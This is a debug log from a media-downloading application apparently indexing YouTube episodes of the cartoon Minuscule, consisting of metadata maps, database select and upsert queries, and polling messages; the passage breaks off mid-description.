1000ms 00:53:36.551 [debug] Current batch of media processed. Will check again in 1000ms 00:53:37.552 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.37, "description" => "The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l'impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d'insectes en images de synthèse.\n\n***\n\nMinuscule: Mandibles From Far Away is back in France on DVD & Blu-ray on May 2, 2019. \n\nMinuscule: Les Mandibules du Bout du Monde sera de retour en France en Blu-ray & DVD le 02/05/2019.\n\n***\n\nCheck out MINUSCULE AR, the Augmented Reality video game of Minuscule’s world. \n\niOS: https://itunes.apple.com/app/id1449705783 \nGOOGLE PLAY : https://play.google.com/store/apps/details?id=com.Novelab.MinusculeAR\n\n***\n\nComposed and orchestrated by Mathieu Lamboley, the soundtrack of Minuscule - Mandibles from Far Away is available on CD on Music Box Records.\n\nhttps://www.musicbox-records.com/fr/cd-musiques-de-films/6816-minuscule-les-mandibules-du-bout-du-monde.html \n\n***\n\nJoin Minuscule on Facebook and Instagram :\nFacebook: https://www.facebook.com/minusculefilm/ \nInstagram: https://www.instagram.com/minuscule.officiel/\n\n***\n\nMinuscule: Mandibles From Far Away !\nCOMING SOON TO A CINEMA NEAR YOU :\n\nFrance : 01/30/2019\nSwitzerland : 01/30/2019\nUAE : 01/31/2019\nQatar : 01/31/19\nBahrain : 01/31/19\nOman : 01/31/2019\nSouth-Korea : 02/14/2019\nLebanon : 02/14/2019\nLithuania : 02/15/2019\nGermany : 02/21/2019\nEgypt : Will be announced\nDenmark : 03/07/2019\nNorway : 03/07/2019\nSweden : 03/15/2019\nPoland : 03/15/2019\nSlovakia : 04/04/2019\nEstonia : 04/05/2019\nLatvia : 04/05/2019\nCzech Republic : 04/18/2019\nFinland : 04/19/2019\nRussia : 05/02/2019\n... #Minuscule #MinusculeVideos #InsectCartoons", "duration" => 337, "filename" => "/downloads/Miniscule Season 1/2019-08-13 Minuscule - Tire au flanc⧸The Apple of Concord (Season 1)/Minuscule - Tire au flanc⧸The Apple of Concord (Season 1) [5J-ZHuN0ZHU].mp4", "id" => "5J-ZHuN0ZHU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=5J-ZHuN0ZHU", "playlist_index" => 119, "timestamp" => 1565692200, "title" => "Minuscule - Tire au flanc/The Apple of Concord (Season 1)", "upload_date" => "20190813"} 00:53:37.553 [debug] QUERY OK source="sources" db=0.5ms idle=1907.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:53:37.554 [debug] QUERY OK source="sources" db=0.3ms idle=1791.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:53:37.555 [debug] QUERY OK source="media_items" db=0.9ms idle=909.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2019-08-13 10:30:00Z], 4] 00:53:37.571 [debug] QUERY OK source="media_items" db=14.1ms queue=0.3ms idle=911.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l'impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d'insectes en images de synthèse.\n\n***\n\nMinuscule: Mandibles From Far Away is back in France on DVD & Blu-ray on May 2, 2019. \n\nMinuscule: Les Mandibules du Bout du Monde sera de retour en France en Blu-ray & DVD le 02/05/2019.\n\n***\n\nCheck out MINUSCULE AR, the Augmented Reality video game of Minuscule’s world. \n\niOS: https://itunes.apple.com/app/id1449705783 \nGOOGLE PLAY : https://play.google.com/store/apps/details?id=com.Novelab.MinusculeAR\n\n***\n\nComposed and orchestrated by Mathieu Lamboley, the soundtrack of Minuscule - Mandibles from Far Away is available on CD on Music Box Records.\n\nhttps://www.musicbox-records.com/fr/cd-musiques-de-films/6816-minuscule-les-mandibules-du-bout-du-monde.html \n\n***\n\nJoin Minuscule on Facebook and Instagram :\nFacebook: https://www.facebook.com/minusculefilm/ \nInstagram: https://www.instagram.com/minuscule.officiel/\n\n***\n\nMinuscule: Mandibles From Far Away !\nCOMING SOON TO A CINEMA NEAR YOU :\n\nFrance : 01/30/2019\nSwitzerland : 01/30/2019\nUAE : 01/31/2019\nQatar : 01/31/19\nBahrain : 01/31/19\nOman : 01/31/2019\nSouth-Korea : 02/14/2019\nLebanon : 02/14/2019\nLithuania : 02/15/2019\nGermany : 02/21/2019\nEgypt : Will be announced\nDenmark : 03/07/2019\nNorway : 03/07/2019\nSweden : 03/15/2019\nPoland : 03/15/2019\nSlovakia : 04/04/2019\nEstonia : 04/05/2019\nLatvia : 04/05/2019\nCzech Republic : 04/18/2019\nFinland : 04/19/2019\nRussia : 05/02/2019\n... #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Tire au flanc/The Apple of Concord (Season 1)", "5ebca201-e941-4937-a291-1df26f531f3c", "5J-ZHuN0ZHU", 337, false, 4, "https://www.youtube.com/watch?v=5J-ZHuN0ZHU", 119, "/downloads/Miniscule Season 1/2019-08-13 Minuscule - Tire au flanc⧸The Apple of Concord (Season 1)/Minuscule - Tire au flanc⧸The Apple of Concord (Season 1) [5J-ZHuN0ZHU].mp4", false, false, false, [], 1, ~U[2019-08-13 10:30:00Z], ~U[2025-12-14 07:53:37Z], ~U[2025-12-14 07:53:37Z], "The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l'impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d'insectes en images de synthèse.\n\n***\n\nMinuscule: Mandibles From Far Away is back in France on DVD & Blu-ray on May 2, 2019. \n\nMinuscule: Les Mandibules du Bout du Monde sera de retour en France en Blu-ray & DVD le 02/05/2019.\n\n***\n\nCheck out MINUSCULE AR, the Augmented Reality video game of Minuscule’s world. \n\niOS: https://itunes.apple.com/app/id1449705783 \nGOOGLE PLAY : https://play.google.com/store/apps/details?id=com.Novelab.MinusculeAR\n\n***\n\nComposed and orchestrated by Mathieu Lamboley, the soundtrack of Minuscule - Mandibles from Far Away is available on CD on Music Box Records.\n\nhttps://www.musicbox-records.com/fr/cd-musiques-de-films/6816-minuscule-les-mandibules-du-bout-du-monde.html \n\n***\n\nJoin Minuscule on Facebook and Instagram :\nFacebook: https://www.facebook.com/minusculefilm/ \nInstagram: https://www.instagram.com/minuscule.officiel/\n\n***\n\nMinuscule: Mandibles From Far Away !\nCOMING SOON TO A CINEMA NEAR YOU :\n\nFrance : 01/30/2019\nSwitzerland : 01/30/2019\nUAE : 01/31/2019\nQatar : 01/31/19\nBahrain : 01/31/19\nOman : 01/31/2019\nSouth-Korea : 02/14/2019\nLebanon : 02/14/2019\nLithuania : 02/15/2019\nGermany : 02/21/2019\nEgypt : Will be announced\nDenmark : 03/07/2019\nNorway : 03/07/2019\nSweden : 03/15/2019\nPoland : 03/15/2019\nSlovakia : 04/04/2019\nEstonia : 04/05/2019\nLatvia : 04/05/2019\nCzech Republic : 04/18/2019\nFinland : 04/19/2019\nRussia : 05/02/2019\n... #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Tire au flanc/The Apple of Concord (Season 1)", "5J-ZHuN0ZHU", 337, false, 4, "https://www.youtube.com/watch?v=5J-ZHuN0ZHU", "/downloads/Miniscule Season 1/2019-08-13 Minuscule - Tire au flanc⧸The Apple of Concord (Season 1)/Minuscule - Tire au flanc⧸The Apple of Concord (Season 1) [5J-ZHuN0ZHU].mp4", false, ~U[2019-08-13 10:30:00Z]] 00:53:37.572 [debug] QUERY OK source="sources" db=0.4ms idle=807.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:53:37.573 [debug] QUERY OK source="media_profiles" db=0.4ms idle=18.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:53:37.574 [debug] QUERY OK source="media_items" db=0.5ms idle=19.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89111] 00:53:37.574 [debug] Current batch of media processed. Will check again in 1000ms 00:53:38.575 [debug] Current batch of media processed. Will check again in 1000ms 00:53:39.576 [debug] Current batch of media processed. Will check again in 1000ms 00:53:40.577 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.25, "description" => "The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l'impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d'insectes en images de synthèse.\n\n***\n\nCheck out MINUSCULE AR, the Augmented Reality video game of Minuscule’s world. \n\niOS: https://itunes.apple.com/app/id1449705783 \nGOOGLE PLAY : https://play.google.com/store/apps/details?id=com.Novelab.MinusculeAR\n\n***\n\nComposed and orchestrated by Mathieu Lamboley, the soundtrack of Minuscule - Mandibles from Far Away is available on CD on Music Box Records.\n\nhttps://www.musicbox-records.com/fr/cd-musiques-de-films/6816-minuscule-les-mandibules-du-bout-du-monde.html \n\n***\n\nJoin Minuscule on Facebook and Instagram :\nFacebook: https://www.facebook.com/minusculefilm/ \nInstagram: https://www.instagram.com/minuscule.officiel/\n\n***\n\nMinuscule: Mandibles From Far Away !\nCOMING SOON TO A CINEMA NEAR YOU :\n\nFrance : 01/30/2019\nSwitzerland : 01/30/2019\nUAE : 01/31/2019\nQatar : 01/31/19\nBahrain : 01/31/19\nOman : 01/31/2019\nSouth-Korea : 02/14/2019\nLebanon : 02/14/2019\nLithuania : 02/15/2019\nGermany : 02/21/2019\nEgypt : Will be announced\nDenmark : 03/07/2019\nNorway : 03/07/2019\nSweden : 03/15/2019\nPoland : 03/15/2019\nSlovakia : 04/04/2019\nEstonia : 04/05/2019\nLatvia : 04/05/2019\nCzech Republic : 04/18/2019\nFinland : 04/19/2019\nRussia : 05/02/2019\n... #Minuscule #MinusculeVideos #InsectCartoons", "duration" => 453, "filename" => "/downloads/Miniscule Season 1/2017-07-09 Minuscule - La grasse matinée ⧸ Sleeping In (Season 1)/Minuscule - La grasse matinée ⧸ Sleeping In (Season 1) [Hf7oX6Yff-M].mp4", "id" => "Hf7oX6Yff-M", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=Hf7oX6Yff-M", "playlist_index" => 120, "timestamp" => 1499607018, "title" => "Minuscule - La grasse matinée / Sleeping In (Season 1)", "upload_date" => "20170709"} 00:53:40.579 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1933.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:53:40.579 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=1934.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:53:40.581 [debug] QUERY OK source="media_items" db=0.9ms idle=1934.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2017-07-09 13:30:18Z], 4] 00:53:40.585 [debug] QUERY OK source="media_items" db=3.0ms idle=1813.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l'impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d'insectes en images de synthèse.\n\n***\n\nCheck out MINUSCULE AR, the Augmented Reality video game of Minuscule’s world. \n\niOS: https://itunes.apple.com/app/id1449705783 \nGOOGLE PLAY : https://play.google.com/store/apps/details?id=com.Novelab.MinusculeAR\n\n***\n\nComposed and orchestrated by Mathieu Lamboley, the soundtrack of Minuscule - Mandibles from Far Away is available on CD on Music Box Records.\n\nhttps://www.musicbox-records.com/fr/cd-musiques-de-films/6816-minuscule-les-mandibules-du-bout-du-monde.html \n\n***\n\nJoin Minuscule on Facebook and Instagram :\nFacebook: https://www.facebook.com/minusculefilm/ \nInstagram: https://www.instagram.com/minuscule.officiel/\n\n***\n\nMinuscule: Mandibles From Far Away !\nCOMING SOON TO A CINEMA NEAR YOU :\n\nFrance : 01/30/2019\nSwitzerland : 01/30/2019\nUAE : 01/31/2019\nQatar : 01/31/19\nBahrain : 01/31/19\nOman : 01/31/2019\nSouth-Korea : 02/14/2019\nLebanon : 02/14/2019\nLithuania : 02/15/2019\nGermany : 02/21/2019\nEgypt : Will be announced\nDenmark : 03/07/2019\nNorway : 03/07/2019\nSweden : 03/15/2019\nPoland : 03/15/2019\nSlovakia : 04/04/2019\nEstonia : 04/05/2019\nLatvia : 04/05/2019\nCzech Republic : 04/18/2019\nFinland : 04/19/2019\nRussia : 05/02/2019\n... #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - La grasse matinée / Sleeping In (Season 1)", "3f8faadc-cc95-4658-9c98-d9971093c477", "Hf7oX6Yff-M", 453, false, 4, "https://www.youtube.com/watch?v=Hf7oX6Yff-M", 120, "/downloads/Miniscule Season 1/2017-07-09 Minuscule - La grasse matinée ⧸ Sleeping In (Season 1)/Minuscule - La grasse matinée ⧸ Sleeping In (Season 1) [Hf7oX6Yff-M].mp4", false, false, false, [], 1, ~U[2017-07-09 13:30:18Z], ~U[2025-12-14 07:53:40Z], ~U[2025-12-14 07:53:40Z], "The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l'impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d'insectes en images de synthèse.\n\n***\n\nCheck out MINUSCULE AR, the Augmented Reality video game of Minuscule’s world. \n\niOS: https://itunes.apple.com/app/id1449705783 \nGOOGLE PLAY : https://play.google.com/store/apps/details?id=com.Novelab.MinusculeAR\n\n***\n\nComposed and orchestrated by Mathieu Lamboley, the soundtrack of Minuscule - Mandibles from Far Away is available on CD on Music Box Records.\n\nhttps://www.musicbox-records.com/fr/cd-musiques-de-films/6816-minuscule-les-mandibules-du-bout-du-monde.html \n\n***\n\nJoin Minuscule on Facebook and Instagram :\nFacebook: https://www.facebook.com/minusculefilm/ \nInstagram: https://www.instagram.com/minuscule.officiel/\n\n***\n\nMinuscule: Mandibles From Far Away !\nCOMING SOON TO A CINEMA NEAR YOU :\n\nFrance : 01/30/2019\nSwitzerland : 01/30/2019\nUAE : 01/31/2019\nQatar : 01/31/19\nBahrain : 01/31/19\nOman : 01/31/2019\nSouth-Korea : 02/14/2019\nLebanon : 02/14/2019\nLithuania : 02/15/2019\nGermany : 02/21/2019\nEgypt : Will be announced\nDenmark : 03/07/2019\nNorway : 03/07/2019\nSweden : 03/15/2019\nPoland : 03/15/2019\nSlovakia : 04/04/2019\nEstonia : 04/05/2019\nLatvia : 04/05/2019\nCzech Republic : 04/18/2019\nFinland : 04/19/2019\nRussia : 05/02/2019\n... #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - La grasse matinée / Sleeping In (Season 1)", "Hf7oX6Yff-M", 453, false, 4, "https://www.youtube.com/watch?v=Hf7oX6Yff-M", "/downloads/Miniscule Season 1/2017-07-09 Minuscule - La grasse matinée ⧸ Sleeping In (Season 1)/Minuscule - La grasse matinée ⧸ Sleeping In (Season 1) [Hf7oX6Yff-M].mp4", false, ~U[2017-07-09 13:30:18Z]] 00:53:40.586 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=815.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:53:40.587 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.1ms idle=7.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:53:40.588 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=7.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89113] 00:53:40.588 [debug] Current batch of media processed. Will check again in 1000ms 00:53:41.589 [debug] FileFollowerServer Handler: Got media attributes: %{"filename" => "/downloads/Miniscule Season 1/NA youtube video #Z9xIBzRRxJo/youtube video #Z9xIBzRRxJo [Z9xIBzRRxJo].NA", "id" => "Z9xIBzRRxJo", "original_url" => "https://www.youtube.com/watch?v=Z9xIBzRRxJo", "playlist_index" => 121, "title" => "youtube video #Z9xIBzRRxJo"} 00:53:41.590 [debug] QUERY OK source="sources" db=0.5ms idle=1005.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:53:41.590 [debug] FileFollowerServer Handler: Got media attributes: %{"filename" => "/downloads/Miniscule Season 1/NA youtube video #2g9eHttXRZs/youtube video #2g9eHttXRZs [2g9eHttXRZs].NA", "id" => "2g9eHttXRZs", "original_url" => "https://www.youtube.com/watch?v=2g9eHttXRZs", "playlist_index" => 122, "title" => "youtube video #2g9eHttXRZs"} 00:53:41.591 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=1005.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:53:41.592 [debug] FileFollowerServer Handler: Got media attributes: %{"filename" => "/downloads/Miniscule Season 1/NA youtube video #fiU3pUi3KgU/youtube video #fiU3pUi3KgU [fiU3pUi3KgU].NA", "id" => "fiU3pUi3KgU", "original_url" => "https://www.youtube.com/watch?v=fiU3pUi3KgU", "playlist_index" => 123, "title" => "youtube video #fiU3pUi3KgU"} 00:53:41.592 [debug] QUERY OK source="sources" db=0.3ms idle=1005.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:53:41.593 [debug] Current batch of media processed. Will check again in 1000ms 00:53:42.594 [debug] Current batch of media processed. Will check again in 1000ms 00:53:43.595 [debug] Current batch of media processed. Will check again in 1000ms 00:53:44.596 [debug] Current batch of media processed. Will check again in 1000ms 00:53:45.597 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.33, "description" => "The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l'impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d'insectes en images de synthèse.\n\n***\n\nMinuscule: Mandibles From Far Away is back in France on DVD & Blu-ray on May 2, 2019. \n\nMinuscule: Les Mandibules du Bout du Monde sera de retour en France en Blu-ray & DVD le 02/05/2019.\n\n***\n\nCheck out MINUSCULE AR, the Augmented Reality video game of Minuscule’s world. \n\niOS: https://itunes.apple.com/app/id1449705783 \nGOOGLE PLAY : https://play.google.com/store/apps/details?id=com.Novelab.MinusculeAR\n\n***\n\nComposed and orchestrated by Mathieu Lamboley, the soundtrack of Minuscule - Mandibles from Far Away is available on CD on Music Box Records.\n\nhttps://www.musicbox-records.com/fr/cd-musiques-de-films/6816-minuscule-les-mandibules-du-bout-du-monde.html 